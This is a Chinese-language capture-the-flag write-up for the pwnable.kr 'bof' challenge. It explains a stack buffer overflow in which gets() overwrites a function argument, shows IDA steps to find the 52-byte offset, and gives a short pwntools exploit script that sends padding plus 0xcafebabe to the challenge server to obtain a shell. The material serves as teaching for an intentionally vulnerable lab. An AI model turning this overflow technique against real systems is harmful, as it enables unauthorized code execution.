pwnable.kr的第三题[bof]详解writeup

首先我们登陆pwnable.kr,这里是道溢出题目,在题目提示中已经可以看出来了,我们下载一下bof文件,已经看一下bof文件的源码。http://pwnable.kr/bin/bof.c。


先是申明了一个char类型变量叫做overflowme,连接程序,他会输出一个overflow me:,然后你的输入会传入overflowme里,如果传入的key为0xcafebabe就会给你一个shell权限让你操作,但是这里的

int main(int argc, char* argv[]){

func(0xdeadbeef);

return 0;

}

会将你传进去的参数,赋值为0xdeadbeef,所以无论你怎么正常输入,进去的key都会是0xdeadbeef,所以我们这里需要在输入 0xcafebabe 之前需要填充字符把栈填满。现在放进ida里看一下。


shift+F12调出字符串窗口


双击overflow me跟进去


点击s然后摁x跟进去


gets(overflow) 是接受输入,当然是从 overflow 的首地址开始存储字节。前面的esp存放的就是 overflow 的基址,为 ebp + s 其中 s = byte ptr - 2ch。然后 key 的基址当然要在 cmd 里面找,因为 if (key == 0x....) 所以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然后很简单的算出两者的距离为 52。所以我们在输入 0xcafebabe 之前需要填充 52 个字符。

这里就要使用到pwntools了,这道题目也号称是pwntools里的helloworld。


网上写的大部分exp是针对python2使用pwntools的,我这个exp是针对python3使用exp的

from pwn import *

key=p32(0xcafebabe)

payload1=remote("pwnable.kr",9000)

payload1.send(bytes('a',encoding='utf8')*52+key)

payload1.interactive()


daddy, I just pwned a buFFer :)

恭喜你成为pwntools入门者。

你可能感兴趣的:(pwnable.kr的第三题[bof]详解writeup)